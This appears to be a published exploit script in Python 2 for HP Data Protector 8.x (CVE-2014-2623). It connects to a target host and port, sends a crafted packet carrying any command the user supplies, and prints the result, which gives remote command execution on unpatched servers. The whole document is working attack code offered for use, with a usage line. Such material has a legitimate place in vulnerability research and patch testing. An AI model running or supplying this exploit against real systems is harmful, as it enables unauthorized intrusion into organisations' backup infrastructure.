HP Data Protector 8.x – Remote Command Execution
#!/usr/bin/python # Exploit Title: HP-Data-Protector-8.x Remote command execution. # Google Dork: - # Date: 30/01/2015 # Exploit Author: Juttikhun Khamchaiyaphum # Vendor Homepage: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818 # Software Link: http://www8.hp.com/th/en/software-solutions/data-protector-backup-recovery-software/ # Version: 8.x # Tested on: IA64 HP Server Rx3600 # CVE : CVE-2014-2623 # Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. "uname -m">" import socket import struct import sys def exploit(host, port, command): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((host, port)) print "[+] Target connected." OFFSET_DEC_START = 133 OFFSET_DEC = (OFFSET_DEC_START + len(command)) # print "OFFSET_DEC_START:" + str(OFFSET_DEC_START) # print "len(command)" + str(len(command)) # print "OFFSET_DEC" + str(OFFSET_DEC) OFFSET_HEX = "%x" % OFFSET_DEC # print "OFFSET_HEX" + str(OFFSET_HEX) OFFSET_USE = chr(OFFSET_DEC) # print "Command Length: " + str(len(command)) PACKET_DATA = "\x00\x00\x00"+\ OFFSET_USE+\ "\x20\x32\x00\x20\x73\x73\x73\x73\x73\x73\x00\x20\x30" + \ "\x00\x20\x54\x45\x53\x54\x45\x52\x00\x20\x74\x65\x73\x74\x65\x72\x00" + \ "\x20\x43\x00\x20\x32\x30\x00\x20\x74\x65\x73\x65\x72\x74\x65\x73\x74" + \ "\x2E\x65\x78\x65\x00\x20\x72\x65\x73\x65\x61\x72\x63\x68\x00\x20\x2F" + \ "\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75" + \ "\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x30\x00" + \ "\x20\x32\x00\x20\x75\x74\x69\x6C\x6E\x73\x2F\x64\x65\x74\x61\x63\x68" + \ "\x00\x20\x2D\x64\x69\x72\x20\x2F\x62\x69\x6E\x20\x2D\x63\x6F\x6D\x20" + \ " %s\x00" %command # Send payload to target print "[+] Sending PACKET_DATA" sock.sendall(PACKET_DATA) # Parse the response back print "[*] Result:" while True: response = sock.recv(2048) if not response: break print response except Exception as ex: print >> sys.stderr, "[-] Socket error: \n\t%s" % ex exit(-3) sock.close() if __name__ == "__main__": try: target = sys.argv[1] port = int(sys.argv[2]) command = sys.argv[3] exploit(target, port, command) except IndexError: print("Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. \"uname -m\">") exit(0) |